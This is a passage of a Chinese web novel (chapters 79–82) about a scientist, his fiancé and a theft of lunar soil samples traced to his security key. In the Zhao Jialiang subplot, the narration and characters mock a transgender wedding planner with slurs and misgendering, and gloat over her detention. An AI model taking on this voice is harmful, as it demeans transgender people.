“还行吧。”没有驾照的夏二少对车毫无研究。不过既然是赵嘉良拿出来伺候自己的,他不用想就知道这车绝对便宜不了。 不过按照蒋靖川之前的工作经历,夏季觉得这车的价格对他来说也不至于是什么大负担。 但蒋靖川却是苦笑了两下,说,“夏哥,实不相瞒,其实我也就刚进娱乐圈的头两年挣了点钱,从第三年开始就一年不如一年了。” 蒋靖川虽然在数学方面可以称得上是天才,但天才从来都是99%的汗水加1%的灵感铸就的。听信了星探的花言巧语,想尽快挣钱养家的蒋靖川即使进了娱乐圈也绝不是一个贪图享乐的人。事实上,他在内娱混的时候,虽然缺了那1%的灵感,但那99%的汗水流的还是实打实的。 而在闫庆泽被调查后,他们那套星探挖人的套路也就真相大白了。头两年,库库给蒋靖川砸钱,靠买流量买粉丝为他营造一个“很有前途”的假象。但事实上,就蒋靖川那个被狗啃过一样的歌喉和四肢都不协调的演技真的能在这个竞争极为激烈的娱乐圈吸引到大把粉丝吗? 更别说他虽然长得有点儿姿色,但放在一堆科技与狠货的内娱圈里,真就有点不够看。 “我也是后来才知道,其实我的应援会里真正的野生粉丝加起来不过百来人。那些粉头,大粉,其实都是公司买来的职业粉” 在不计成本的投资结束时期之后,眼看着蒋靖川年纪大了,不太可能重返校园了,资本就逐渐减少了对他的投入。而一直努力工作的蒋靖川其实并不知道,他所做的一切,其实只是一个资本特意为他打造的“楚门的世界”。 从包装的世界重回现实,蒋靖川感触良多。 而夏季听完他的感慨,却直接点名某人,“对了夏荣,你爸不是刚放出来吗?他对此事有何感想啊?有没有什么想跟苦主说的?” 夏季对夏荣最佩服的一点就是,在如今闫庆泽已经被放出来已经众所周知的时候,他还能镇定自若的在蒋靖川面前蹦跶。 要知道夏荣从小就有两个爸爸的事情在网上都被扒烂了。尤其是喻馨之前仗着夏听风的偏爱行事作风从来不知道什么叫低调,以前没人扒她的时候还好说,一旦开扒,那简直就直接烂了。 都说人在巅峰的时候品行往往会被湮没在金钱名誉之下,变得不那么重要。但当一个人开始塌房,那他的最后一块遮羞布也就只剩下人品了。所谓厚德载物,就是这么个道理。 而夏荣跟闫庆泽的关系又不想夏季至于夏听风。他可是货真价实,从小到大“父母双全”着长大的。 能在蒋靖川这个人生被他亲爹差点儿毁掉的苦主面前晃来晃去,这已经不能单纯的用脸皮厚,或者心理素质好来解释了。 按照夏季对夏荣的了解,他能对蒋靖川这种有旧怨,且看起来就并不怎么煞笔的直男如此死缠烂打,说他没带点儿什么不可告人的目的,那可真就是把人的智商按在地上摩擦了。 但当着夏季的面说实话,若不是夏季亲自开这个口,蒋靖川是根本不可能跟夏荣一起吃饭的。虽然他这人性子软和好说话,在人际关系上有些慢半拍。但夏荣不是个好人的认知还是有的。 只是蒋靖川只觉得跟夏季的过往遭遇相比,自己的经历简直就是小卡拉米。连夏季都能跟夏荣坐在一起吃饭,自己要是表现的太不可接受的话未免会让夏季觉得自己太小心眼了。 于是没有get到夏季意思的蒋靖川故作大度的一摆手道,“无所谓了,增添人生阅历罢了。小问题小问题哈~” 夏季似笑非笑的睨了他一眼,心里想的却是,把这傻小子卖掉的话他会不会帮自己数钱。 倒是夏荣朝蒋靖川投去了感激的视线。只是嘴上看似帮他说话的男人却完全不鸟他,这让夏荣难免有些挫败。不过随着车子停稳,他很快就调整好心态表情,跟随蒋靖川和夏季的脚步,走进了一家私密性极好的私房菜馆。 “这家店是我一个发小的女朋友开的,,价格公道不说,味道还非常好!”站在这个看起来有些摇摇欲坠的菜馆招牌下,蒋靖川冲有些迟疑的夏季解释说,“他家常年会给我预留一个包厢,私密性有保障。” 夏季沉思片刻,“行,尝尝吧。” 夏季也算是由奢入俭难的典型了。 虽然从小在山坳坳里长大,但被赵嘉良捧在手心里娇养了这么多年,他早就丧失了一些艰苦朴素的传统美德。刚走进这家私房菜馆的时候,看着内里上世纪90年代的装修风格和破旧到有点过分的装饰,他内心里是有点抗拒的。 但美食这东西,对于任何一个健康人类来说都是有诱惑力的。在蒋靖川的张罗招待下,热情的老板娘上菜速度飞快。那些看起来卖相普通的家常菜夏季只尝了一口,就主动去找人家老板娘要联系方式了。一来是这家私房菜的味道真的出乎他的意料,也不知道是不是出门前刚去单位食堂坐了一会儿,被食堂那过于营养均衡而很少考虑口味的风格所洗礼。夏季此时是真觉得这家私房菜好吃极了!而向来挑食的他在发现这么合自己胃口的菜馆时,自然会想到以后有机会要带赵嘉良来尝尝。 而随着夏季的离开,也算是方便夏荣跟蒋靖川好好说会儿话。 在夏季要来了老板娘的绿泡泡,确定他们家小本经营不上一般外卖平台,但接受上门自取之后夏季当即就把今日份的晚餐给点了,顺便给赵嘉良发了个消息,让他今天下班之后早点回来。 等他把这些都做完,重新回到包厢的时候夏荣已经换了个座位,跟蒋靖川坐到一边去了。 “夏季你干嘛去了这么久?菜都凉了。”看到他回来,蒋靖川显然有些如蒙大赦一般的松了口气。 夏季有些好笑的瞥了一眼脸色不怎么好的夏荣,很显然他从蒋靖川身上并没有得到什么理想的回应。看到夏季回来了,他很勉强的打了个招呼,然后就开始心不在焉的扒拉了一下碗里的东西。夏季虽然不太清楚这两人在自己刚刚离开的十几分钟里说了些什么,但他似乎能猜到个大概。 不过夏季本身是个不爱多管闲事的人,这次会破天荒的答应夏荣帮他一个忙也是事出有因。 饭桌上若不是蒋靖川努力有一句没一句的说着什么,这顿饭恐怕会吃的极为尴尬。后面夏荣似乎有些受不了蒋靖川只顾着夏季,却不大搭理自己的态度,看他俩有一搭没一搭的尽聊些晦涩难懂的学术问题,他陪着坐了一会儿终于起身说了句,“我去下洗手间”然后出去了。 见状,蒋靖川总算高兴起来了。他低声说,“诶,夏季。你这个弟弟向来这么能装吗?” 夏季瞥了一眼手机屏幕上的新消息,也乐了,“哟,看来你还是个不吃装货的聪明人呢?” “不过午休时间快结束了,赶紧吃。我下午还有很重要的工作。” 第80章 对于夏季来说, 此时正值多事之秋。 虽然是出来跟熟人吃饭,但在蒋靖川没有想到的地方,暗处其实是有不少赵嘉良给夏季精心安排的专业保镖护驾的。 “哦, 我已经吃好了。” 在夏季心目中已经坐实了“把他卖掉还会帮自己数钱”的蒋同学抓过纸巾擦了擦嘴, “回去之前能先打包两个菜么?” 也不知道他之前当流量明星的时候是怎么过的日子,竟然能如此接地气,没有有点偶像包袱。 再反观一旁已经把口罩墨镜全副武装好的夏荣 “我记得你俩以前是一个经纪公司的艺人吧?”夏季忽然问。 蒋靖川手上动作不停, “是的。不过我是扶不起的阿斗,烧钱的公司混子。他是公司的摇钱树,各种好资源的集合体,我俩不是一个世界的人哈。” 他这话直接把夏季都说笑了, 只有夏荣面不改色的继续收拾自己的东西,并不转身看他们。夏季无声的笑了笑, 忽然发现,人有时候真的需要逼自己一把。真要到了绝境, 那些以前想都不会想的事情都能干得出来夏荣也真是, 辛苦了。 因为要等蒋靖川拿打包的菜, 他们在包间里还稍微多等了一会儿。 夏季埋头给赵嘉良发消息,分享美食,而赵总在这些方面明显是个极其擅长提供情绪价值的人。在他的一通惊叹中, 夏季心情大好,忍不住嘴角上挑。这也就愈发使得硬跟着凑来的夏荣好像个小丑一样。 好饭好菜他享受不了, 看起来的正事也毫无进展。被人晾在一边当空气的感觉老实说并不好受, 但也不知到底是什么伟大的力量让这位曾经不可一世的小夏影帝还是这么浑浑噩噩的坚持了下来。 等到蒋靖川结完账,他们准备返回单位时,夏荣自然就没有继续跟着的理由了。 只见他眼神湿漉漉的拽了拽夏季的袖子,从他的眼神中, 夏季似乎有那么一瞬捕捉到了恐惧? “我下午还有正经工作要做,就不请你喝下午茶了。”低头看了一眼时间,夏季还算客气的说,“我让一队保镖护送你回去,放心,我的人在阿久不敢欺负你的。” 夏荣差点儿咬牙切齿。他就知道阿久那条疯狗这些日子一直疯狂缠着自己挖坑,肯定跟夏季脱不了干系! 但人在屋檐下不得不低头,夏荣只得挤出一个委屈巴巴的表情,转头看了一眼蒋靖川。 非常不幸的是,理工科直男有时候是真瞎,他完全get不到一个并非漂亮妹子的委屈示弱。看到夏季在跟他对象表扬自己推广的这家私房菜馆后,他还沾沾自喜的炫耀了好一会儿。 直到夏季的保镖按照要求过来接人,夏荣不得不被“请”走之后,蒋靖川整个人都放松了一圈。跟在夏季身后上车的时候,他还忍不住出声抱怨,“夏季你怎还跟这种人一起玩啊,吃亏没吃够吗?” “还行吧。”夏季还认真的想了想,“我在夏家其实也不算吃亏很多吧。” 吃一堑长一智的道理夏季还是懂得,况且原本他回到夏家也不是奔着跟喻馨母慈子孝去的,会被排挤苛待他早就做好了心理准备。所以即使后面夏荣他们有的事情做的过分了,但起码还在夏季的心理承受范围诶之内。 从店里出来的时候,北风呼啸,夏季被吹得哆嗦了一下。 “上车,赶紧回去。” 蒋靖川这个人私下里还算比较健谈,夏荣不在,他本想趁着这个独处的机会好好跟夏季请教一下未来在科学院的学习生活有什么需要注意的具体事项。不过刚上车没多久夏季似乎就接到了一个来自他们项目组内部的电话,因为没开外放蒋靖川听的并不真切,但从夏季严肃的语气中还是不难听出其中是跟他们项目有关的大事。多少还是有点儿察言观色常识的蒋靖川即刻就噤声了,等到车子稳稳的停在单位门口,夏季连招呼都不打一声就大步流星的走了,他还有点儿摸不着头脑。 不过作为一个刚刚半道回来学习的新人,蒋靖川并没有多想,只是目送夏季离开之后,尴尬的摸了摸鼻子,然后在夏家保镖的“注目礼下”转头回去自己的数学楼了。 结束午休之后夏季他们这个即将分道扬镳的项目组办公室里面人很齐。 因为月壤种植项目中很多大佬都是全国各地的农学院里招募来的,在确认毫无种植价值之后他们也就该回到各自原本的工作岗位上去了。因此,散伙之前按照惯例还是要聚个餐的。只是在项目负责人跟大家商讨聚餐地点的时候,中午拉着夏季问东问西,关怀他个人问题的老教授低声说,“夏季你中午跟安保的人交接的时候时候没有输秘钥?刚刚安保部的人还打电话来特地说了这个事儿,老王帮你糊弄过去了,下次跟安保交接的时候要注意流程,可千万别忘了!” 夏季眉心微蹙,向对方的好心提醒道了谢,但并没有为自己辩解什么的意思。 在气氛一片热烈温馨下,他坐在人群的最边缘,若有所思…… “小夏,别发呆了,你不是还有些正经工作要做吗?赶紧去保卫科领材料吧。” 被同事提醒了一嘴的夏季冲他微微笑了一下,“好,我现在就去。” 相比于其他同事的优哉游哉,等着打道回府不同的是,夏季的后续工作虽然没多少技术含量,却要求细心精确,以及拉满的安保夏季跟同事们闲聊了一会儿之后就去安保室那边签到,然后去操作间换衣服了。 夏季来这边项目组时间不长。事实上他们项目组的所有人来的时间都不长,因此夏季来这不怎么熟悉的操作间更换防护服的时候花的时间比平时要多上一些。而自从他接下了“分土”的工作后,他身边的官方安保等级也被拉到了最高。不过这次的任务项目身边的安保团队并不是由他的老熟人老胡负责的,新面孔很多,大家都沉默寡言的,如非特殊必要彼此之间并不会有额外的交流。 这种简单却有些磨人的工作最是消耗人的耐性,像夏季这种原本脾气并不怎么温和,耐心也不算很好的人在经过这些年严谨数据的鞭策下,人进实验室的时候就跟脱胎换骨一样,一丝不苟了。 在反复称重,从质量和形体都全程摄像,数据归档之后,夏季在负责的相关安保人员的登记确认下,将已经确定好分给来自其他国家的各个大学实验室的月壤份额分批分次的装入特制容器之后,交给了安保人员。 东西交出去之后,经过安保程序的签字确认和全程高清视频录像,整个流程可以说是万无一失。 不过就是这么简简单单,几乎没有任何技术含量的事情因为要反复走流程,最后等一切处理妥当之后还是快到下班的时间点了。 换完衣服,反复洗手的时候他的电话响了,看了一眼是阿久。 “什么事?”一般来说,阿久是不会越俎代庖的直接联系夏季的。 除开赵嘉良还在当植物的那段时间,赵嘉良对跟夏季有关的事情向来心眼儿比针尖儿还小。哪怕阿久长得歪瓜裂枣,他也很难容忍对方跟夏季单独接触。甚至他们夏园养的那些小宠物公的都会被赵总幼稚的平等歧视。 所以当夏季看到阿久来电的时候,心里咯噔了一下。 而当听完对方的汇报后,他的心顿时沉入了谷底。 “把定位发过来,我马上过来。” 夏季的正常下班时间是17:30,不过这几天已经是项目尾声,考勤就没有之前那么严格。在跟领导说明情况之后,夏季在17点整的时候乘车离开了科学院大门,直奔市人民医院而去。 这个时间点的医院外科急诊只有稀稀拉拉的几个人。 因为赵嘉良在这家医院做复健,因此夏园的相关人员对人民医院已经是熟门熟路的快跟自家后院了。 夏季从单位出来的时候连白大褂都没来记得换下,这几天京市气温大跳水,过来的路上鹅毛大雪。夏季从医院停车场到楼内急诊室门口的时候,肩膀上的雪都没有化完。 “赵嘉良!”人未到声先至。 赵嘉良原本还在低声跟手下人交代些什么,严肃的表情仿佛如临大敌。只是在夏季的声音响起后,赵总成熟稳重的,运筹帷幄的模样一秒破功。站在一旁的阿久甚至都能明显的察觉自家老板还算高大魁梧的身子明显的抖了一抖,不难看出,赵总在这整个家里身处何种地位。 不过作为“背主告密”的家伙,阿久趁着赵嘉良疲于解释的空隙,悄悄的溜了 “宝贝儿,你怎么来了?这么早就下班了?”赵嘉良的脑门儿上裹着厚厚的纱布,即使已经处理妥当,但依然有丝丝血迹透过雪白的纱布渗透出来。看的出来,这新鲜的伤口是有点深的。眼看着瞒不住了,赵嘉良讪讪的起身笑了笑,试图插科打诨,“我正想着处理完伤口就去接你下班呢,不是说喜欢那家私房菜中午没吃好,想晚上在吃一次嘛” “赵嘉良。”夏季一瞬不瞬的盯着他,原本刚接到电话时的怒气此时已经完全消散。 他的眼中似有一些让人难以读懂的东西。 “抱歉,又连累你受伤了。”《 》 80-90 第81章 其实早在过来医院之前, 夏季就已经在路上酝酿了一堆难听的话。 不过在他火急火燎的赶过来,看到男人脑门儿上明显的伤处之后,这一肚子难听的话又给憋了回去。 只是对于已经习惯自己大脾气的老婆动手又动口的赵嘉良, 刚刚还在头脑风暴的想着要怎么狡辩, 才能让自家这位脾气不怎么好的对象太过于生气。但夏季的这话锋一转,还是让他有些猝不及防。 “宝贝儿好好的说这些干嘛。”赵嘉良本想嬉皮笑脸的缓和一下气氛,谁知道夏季是一言不合的抬手直戳他脑门。 “嘶疼疼疼。” 夏季无动于衷的双手抱胸, 仿佛刚刚流露出那一丝愧疚和心疼的眼神只是赵嘉良的错觉而已。他又瞥了一眼男人的伤处,冷冷的说,“怎么弄的?” “额”赵嘉良眼神闪烁,只思忖片刻就决定还是实话实。哪怕他五分钟之前还在跟医生嚷嚷着说不要拆了纱布, 换一个不那么显眼的包扎方式。为此他还跟急诊医生小小的起过争执,不过现在好了, 夏季已经该看的都看到了,挣也没什么好挣的了。 “被人给打了”不是赵嘉良对夏季没有信心, 主要是他这伤受的真有点儿憋屈。 这也是赵嘉良之所以不想让夏季知道自己受伤的主要原因。 原来今天赵嘉良在公司开会商讨关于从夏氏那儿继承的太平洋小岛的费用问题。 因为赵嘉良已经在公司内部官宣了自己跟夏季即将结婚, 目前准备筹备婚礼, 并且之后要使用这个小岛的事情。所以从公司和广大股东的角度来说,这纯烧钱毫无产出的“破岛”应该被作为劣质资产麻溜的处理掉。而从情感方面出发,他们家赵总都舔了夏二少好几年了, 一直到今年才好不容易靠拼命换了个能拿得出手的正经名分。就赵嘉良这种祖传的恋爱脑,万一把那破岛处理了, 惹得夏二少不开心, 之后还不知道这位爹要怎么折腾呢。 赵嘉良今天在公司开了一上午的会,跟各位股东也是商讨了一上午。 大家对于赵氏和夏氏的合并其实大多持积极态度,除了这个岛太花钱的问题之外大都没有什么意见。不过赵嘉良越是跟各位股东高层商讨,心里就越是有些奇怪。 照理说夏燃跟高嘉丽的婚礼已经是好几年前的事情, 这个小岛被挂在夏氏名下少说已经烧了好几个小目标了。可即便如此,这座风景优美,景色宜人的小岛至今都还连个正儿八经的名字都没起过……相较于夏燃对高嘉丽的一往情深,这难免让他感到有些违和。 于是赵嘉良翻出了这个小岛的附带资料,距离上次他去岛上参加婚礼已经过去七八年了,他对岛上风光的印象除了“好看”“非常漂亮”之外已经几乎没有什么具体的记忆,从资料图片上的近期图片上来看,这个位于太平洋公海,但距离华国海岸线并不算很远的小岛依然祥和美丽。不过当他准备打开卫星地图细看一下的时候,王秘书前来敲门,说他预约的婚礼团队负责人到了。 “那个婚庆负责人把你给打了?”夏季在接到阿久通风报信的电话时,心里是很紧张的。 也不知道是不是最近风声鹤唳的,他的反应过于敏感。但阿久毕竟是陪着夏季一起渡过了赵嘉良车祸之后的一段艰难时期的,这个曾经在刀尖上舔血过日子,后来被赵嘉良“感化收编”的家伙,却有着跟夏季一样的第一反应。 只是由赵嘉良本人说起这个事情,他还挺恼火的。 “我这不是想着既然要办世纪婚礼,就一定要办最好的嘛” 对于结婚这件事情,夏季选择当甩手掌柜是因为他知道赵嘉良善于做这些,而事实上赵嘉良在那日跟夏季约定好领证的日期之后就开始着手张罗婚礼的事宜了。对于恋爱脑来说,仪式感是一件必不可少的事情。在比对了近几年来比较有名的名人婚礼后,赵嘉良选择了去年年初的某欧洲娱乐明星之子和A国顶级富豪独生女的世界婚礼的婚庆策划团队。 这个来自欧洲的老牌婚庆团队,早年是Y国王室的一个专属部门,距今已经有几百年的历史。也就是欧洲王室这些年以来都纷纷没落了,这才导致这个曾经的皇室部门也独立出来接私活了,只要钱给够,一般的私人项目他们也接。 赵嘉良虽然如今兜里没钱,但架不住他老婆的荷包鼓鼓囊囊啊~ 赵天生如今吊着一口气在医院ICU里躺着,虽然人醒了,但具体情况咋样了也就只有老胡那帮人知道。赵嘉良如今也是从最开始的刷老婆的银行卡痛心疾首,愧疚不已,到现在的稀松平常,光明正大了。 只是这些来自欧洲的大艺术家实在让赵嘉良这个市侩商人有点儿理解不了。 因为是私事,赵嘉良并没有跟他们在公司里谈这事儿,而是去了楼下的一家私密性不错的咖啡店。 赵嘉良带着自己的秘书过去的,而对方来的是位女士。这跟他们之前收到的消息,说是由他们的创意总监Mr.威廉先生负责前期方案接触不太一样,但赵嘉良当时也没多想,看着这位即使穿着厚厚的大衣,裹得严实也依稀能看出玲珑曲线的金发碧眼大美女,他还是十分绅士为她又是开门又是拉椅子啥的。 赵嘉良虽然早年混不吝,年长之后又当了基佬,但在在女士面前他向来保有基本得体的礼仪。只是当两人落座之后对方一开口,那比赵嘉良还低沉三个度的超级男低音,差点儿把他给整不会了…… “我还是世面见少了”能让曾经不可一世的赵总说出这种话来,足以说明今天的事情对他来说有多离谱了,“常年在国内混,我对LGBT群体还是认识少了。” 虽然后面赵嘉良也是很快调整过来跟对方谈起了正事,但在他伸手去接对方递来的资料夹的时候,伴随着肢体的接触,还有一起飞过来的玻璃咖啡杯。 “特喵的!那个娘娘腔说老子非礼他!”赵嘉良咬牙切齿。 然后夏季就差点儿被自己的口水呛到了。 作为完全没有海外留学经历的纯血华国科研人员,这是夏季能写进履历里的一种优势。只是对于国外回来的那些同学同事所描绘的“外面的世界”,还是让他有些懵逼。 “你干嘛了?”夏季倒是不会认为赵嘉良真干了什么不该干的事情。 毕竟按照这人的性子,真有什么不好让自己知道的事情他一定会选择藏着掖着。 而男人一脸愤懑的说,“我特么真的就只是碰了一下他的手而已!” 一个人从另外一个人的手里接过一本册子,手会不经意间触碰到这本不是什么罪无可赦的大罪。也不知道是不是某些群体的格外敏感,那位Mr.威廉先生(小姐)却反应很大,当时就把右手的咖啡杯给甩了过来。 毫无防备的赵嘉良完全没有防备,被正中额头。也幸好那咖啡杯里的是冰美式,除了额头被磕了个口子之外,倒是没有什么大问题。 这时候赵嘉良已经做完了所有的常规检查,在确认只是皮外伤之后,他自己因为觉得这个事情有点儿丢人,所以想瞒着夏季。因为知道自己车祸之后夏季本就挺累的,赵嘉良是不希望再弄些鸡毛蒜皮的小事儿让夏季分心的。毕竟在他的心目中,他的宝贝是应该专注于科研的,未来的伟大科学家,而不需要因为一些腌臜事情亲自费心费力,勾心斗角。 面对夏季的“言行逼供”赵嘉良只得把今天发生的事情全部交代了。 主要是夏季这人在某些方面敏锐的可怕,赵嘉良从刚跟他确定关系之后就不知不觉的被这家伙连老底都扒掉了。他在夏季面前,从没有什么秘密可言。当然,相对的夏季对他也是从不隐瞒,或者说是不屑于隐瞒。 只是在听完赵嘉良的讲述后,夏季眉头紧锁,一脸十分不爽的样子。 说起来赵嘉良跟他相处这些年也已经把夏季的脾气摸得门儿清,知道他这是处在发火的边缘,赶紧凑上前搂住他的腰往怀里带了带,“宝宝别生气了,这点小事儿我能解决的。” “你看他动手砸了我,我现在已经把他送进看守所了呢。” 毕竟华国这地界,某些特定群体可是没有特殊优待的。在赵嘉良的绝不和解要求下,有着极为强大律师团的他很顺利的把那位威廉小姐送进了派出所。听说自己若是不能得到赵嘉良的谅解,很可能就要进男看守所的时候,这位之前还趾高气昂,嚣张跋扈的“小姐”一边高喊着华国没人权,一边又哭又闹,好不可怜。 “你少跟我贫。”夏季被他缠的没办法,索性上脚踹了,“说重点!” 赵嘉良叉着腿把他往怀里又拽了拽,仰着头一副装傻装一般的模样,“宝宝,不是我不想说重点,主要是这事儿吧,有点不对劲,我暂时还没抓住重点……我现在心里有个猜想,等我确定之后再ge” 夏季刚准备说什么,却听到一阵猛烈的咳嗽声。 两人不约而同的转头,只看到同样一身白大褂的王今安正黑着脸站在门口看着他们。 “公共场合你俩收敛点儿行吗?!光天化日的,这急诊室是给你们谈情说爱用的吗?!” 第82章 王今安今天一早就两个眼皮轮流跳个不停, 跳的她心烦意乱。 跟师兄师姐来人民医院开会的时候路上平地绊了一跤,差点儿摔个狗吃屎。开完会去师兄办公室喝水,还不小心打破了茶杯, 给手背上划了个口子。 “姐, 你怎么也受伤了?”夏季无情的一把拽开缠在自己腰上的手臂,只是拽了一把没拽开。 他低头瞥了一眼那人,然后赵嘉良便讪讪的收了手。 不过当看到王今安捧着自己受伤的左手进门的时候, 赵嘉良也顾不上什么旎绮心思了。 “哎哟卧槽,姐你这是怎么了?”别看赵嘉良伤口有点深,但其实医生若不包扎的那么郑重,看着倒不算太严重, 就是有点儿出血。可相比于他脑门儿上的伤口,王今安手背上那并不算深的, 也不算太疼的伤口却血流的不少。 别看王姐平日里在夏季面前气场很足,但作为一个年幼时吃过最好的食物都是夏季剩饭的贫困农村女孩儿, 王今安的身体底子并不怎么好。夏季还记得他们刚回京市之后, 夏家没怎么管自己, 而王老夫妻俩带着他们去医院做过体检。 夏季倒还好,王今安倒是一身毛病。夏季记得,她似乎是有点儿凝血障碍的, 后面王老夫妻俩给她买了不少补品,甚至后面夏季忙完夏家的事情再去找她的时候, 发现自己那个骨感的姐姐已经被养的珠圆玉润, 甚至让他一度产生了这位老院士的专业是不是养猪的疑问。不过在王今安后面又减了一段时间肥之后,夏季再去问时便被告知她身体调理的不错。 这时候护士也端着托盘进来了,看到赵嘉良还坐在那儿,“诶, 你不是已经包扎完了吗?没事儿就出去啊。” 赵嘉良本想说点儿什么,但被夏季瞪了一眼之后就老实出去了。只是他出去了,夏季却没有要跟出来的意思。倒是王今安没好气的白了他一眼,“我就不小心划了个口子而已,又不是什么大问题,你赶紧跟赵狗一起出去。我现在看到你俩黏黏糊糊的就心烦。” 作为一个母胎solo的纯种单身狗,王今安在豆蔻年华的时候也曾做过白马王子爱上我的美梦。只是后面随着生活环境的变化和沉重的学习压力,让她这个医学牲实在抽不出太多的时间来考虑个人问题。 夏季之前也曾不止一次的听王今安抱怨过,说当初赵嘉良突然对自己嘘寒问暖的时候她心里第一反应是警铃大作,提防着这位霸道总裁是不是贪图自家外公的学术成果而来。而这若是换了个一般的春心萌动的小姑娘,说不定还真能误会点儿什么。 “可我万万没有想到的是,赵狗这家伙既不是奔着我来的也不是奔着我外公来的!”不管回想到多少次,王今安都非常生气! 赵嘉良这个迂回追人的方式不能说是错,但真的很容易让人误会!而让王今安如今这么烦赵嘉良的原因其实她私下里也跟夏季交心的谈过。 虽然一开始她很看不上赵嘉良这种名声不怎么好的市侩商人。但君子论迹不论心,就跟夏季当初对外的声名狼藉一样,真实的赵嘉良其实并没有外面传闻的那么冷酷无情,毫无道德感。甚至随着夏季决定跟他交往之后,王今安将他们的相处模式看在眼里。久而久之,她曾经模糊不清的择偶标准也渐渐变了形状。 但不得不承认的是,顶级恋爱脑这种好东西可遇而不可求。眼看着王今安今年都要博士毕业了,她的终身大事还八字没一撇。 夏季知道她最讨厌看两个大男人腻歪,尤其是这两个。 “这都多久了,你怎么还对他这么大意见?” 王今安伸出手交给护士包扎,撇了撇嘴,“我不是对他意见大,我是感慨我自己。我啥时候才能脱单啊” 不过后面半句她的声音极小,只有距离她很近的护士能听清。 因为都是医院的熟人,王今安来急诊包扎的过程很快。出来的时候她虚情假意的关心了一下赵嘉良额头上的伤,在听说这伤的出处之后她毫不客气的爆发了一阵大笑。眼看着天快黑了,王今安婉拒了夏季一起吃饭的邀请,说晚上约了闺蜜们出去Happy。 “柔柔说晚上带我去点男模见见世面~”王今安嘿嘿一笑,完全没了单身的苦恼,“你俩自己去玩吧,我走啦。” 看着她蹦蹦跳跳远去的背影,夏季摸了摸下巴,“我是不是应该跟王老告个状?” 赵嘉良好笑道,“都是成年人了,这不至于吧。你要是实在不放心,我找人私下跟着?保证不让王姐发现呗。” 夏季想了想,摇了摇头,“算了,还是不用了。” 对于姐姐,夏季还是对她的理智非常信任的,甚至从某些方面超过了赵嘉良。 因为那位威廉小姐还在派出所,晚上徐律师亲自过来汇报了一下具体情况。 按理说这种事情夏季往常都没啥兴趣的,但今天他却跟着赵嘉良一起来了书房。而赵嘉良夏园的书房就跟他公司的书房一个风格,夏季平常不怎么来,也就是最近开始对赵嘉良这些鸡毛蒜皮的小习惯关注了起来。 在他的瞩目下,徐律师带着身后的一帮下属站在书房门口,围观他们家赵总手忙脚乱的收拾屋子。 夏园的房间就没一个面积小的,像赵嘉良这种从小含着金汤勺出生的大少爷从没有正儿八经的干过收拾的事情,现在干起来也是一副身体不协调的模样。 徐律师小心翼翼的对一旁抱胸看着的夏季说道,“夏先生,您看要不找几个人来帮帮赵总?” “不用。”夏季摇了摇头,“他书房的东西放在什么地方只有他自己清楚,找人帮他收拾反而碍事。” 他都这么说了,徐律师也不好说什么要帮忙的话。 等到赵嘉良扒拉出能容纳下他们这么多人的位置之后,大家小心翼翼的纷纷落座,心里对这两人的相处模式又有了一个深刻认知。 “赵总,夏少,那位威廉先生现在希望和解了。”徐律师推了推眼镜框,“不过按照您的意思,我们晾了他挺久。他估计也是怕真的进看守所。” 毕竟华国只有男性和女性两种性别,他这种情况若是进了看守所,那 赵嘉良不置可否的点了点头,“除了这些之外呢?” “跟您想的一样,他说想要跟您单独谈一谈。” 但这并不是赵嘉良想要知道的回答,“具体谈什么呢?” 事情闹成这样,继续谈婚礼流程肯定是不可能的了。赵嘉良跟这人素昧平生,虽说有些极端人士会因为种种原因格外敏感。但赵嘉良总觉得这事儿不是单纯的敏感这么简单,他怀疑,但没有证据。 “问了,没说。”虽然语言不通,但这并不是什么大问题。最大的问题是这位Mr威廉在旁人面前有点装疯卖傻之嫌。 “他说要跟你面谈。” 跟有些国家一触及LGBT就十分敏感不同的是,国内对这种事情几乎没有多少容忍度。这位Mr威廉那些在国外无往不利的手段,面对国内的高清摄像头实在没有多少发挥空间。 赵嘉良跟夏季对视一眼,都在对方眼中读出了同样的情绪。 “可以,不过要约个尽可能靠后的时间。”这也算是赵嘉良的一点坏心思了。能让那位漂亮的“女士”在看守所里多待几天,他会很开心。 这看起来仿佛平平无奇的一天,最后却在沉默中度过。 夏季晚上照理给男人做完按摩之后很早就睡了,而平日里总是会在睡前闹腾他一番的家伙,今晚也格外老实。 一夜无梦,似是美好,却又像是暴风雨前夜的宁静。 夏季第二天照常去上班的时候,刚进办公室大门就被项目负责人叫住了。 “夏季,安保那边的今天一大早就过来找你了,你赶快过去一趟吧。”这位为人和善的王教授来自南方大学,平时笑眯眯乐呵呵的活像尊弥勒佛似的。但今天他的神情有些凝重,看起来像是有什么不得了的大事要发生一般。 “好的,我这就过去。”夏季挂上工作牌,把手上的东西随手扔在自己的办公桌上,然后麻利的转身过去了。 作为月壤项目的“分土专员”,虽然平日里大家偶偶尔会调侃夏季一个博士后整天玩泥巴,但这其实更多的只是一种吃不到葡萄说葡萄酸的自嘲。可现在的情况却是,他现在要被质疑玩泥巴都玩不清楚了。 “夏季来了。”此时的安保科人格外的多。 夏季一眼瞟过去,除了日常负责的那几位之外,甚至还有很多之前他在保密项目上打过照面的特勤人员。 因为都是熟人,大家也都默契的免去了客套的环节,直奔主题。 “今早安保科交班的时候发现这份交给A国XX大学实验室的样本比之前要求的少了一点。” 夏季表情看着有点意外,但对于这群专业人士来说,这样的面部表情还需要他们更仔细的观察。 “少了多少”夏季冷静的问。 安保科的负责人报出一个数字,非常非常小的数字。 但对于月壤这种有价无市的东西,哪怕只是微小的一点点,都可能在黑市上卖出天文数字。 可即便如此,在场的这些安保人员也没有一个人会率先怀疑,或者敢怀疑到夏季头上。甚至可以说,但凡负责分配月壤的人员不是夏季而是他们项目上的任意另外一位研究员,这时候恐怕都得被白炽灯照着脸,在专门的小房间喝茶了。 “怎么会这样”听到这个回答后,夏季也忍不住眉头紧锁,“查了监控吗?” “查过了,没有什么问题。”安保科的负责人神色复杂的拿出一叠打印出来的登录记录,“但有数据显示,你的安全密钥在昨天下午17:29的时候刷过保险柜。” “17:29?”夏季接过他手中的资料,眉头紧锁。 “这个时间点你在哪儿?”安保室里到处都是摄像头。在这种最高安保级别的特殊物品储藏室里,除了摄像头之外还有红外热成像仪等一切你能想象的出或者想象不出的赛博技术,这里都有。但他们没有提视频这些,就很奇怪。 “我提前下班了。”夏季沉默片刻,道,“我跟我们项目负责人请过假了,你可以去问他。” 对方不置可否的点了点头,却并没有急于去求证他所说的情况。或许,在夏季过来之前,他们就已经做完了很多工作。 夏季又回答了一些关于“为什么请假”“请假去哪儿”了的问题之后,就被允许离开了。 见到他从容不迫的回来办公室,甚至直接回到座位上开始点咖啡外卖的时候,他们项目的负责人王教授还是忍不住过来询问情况了。 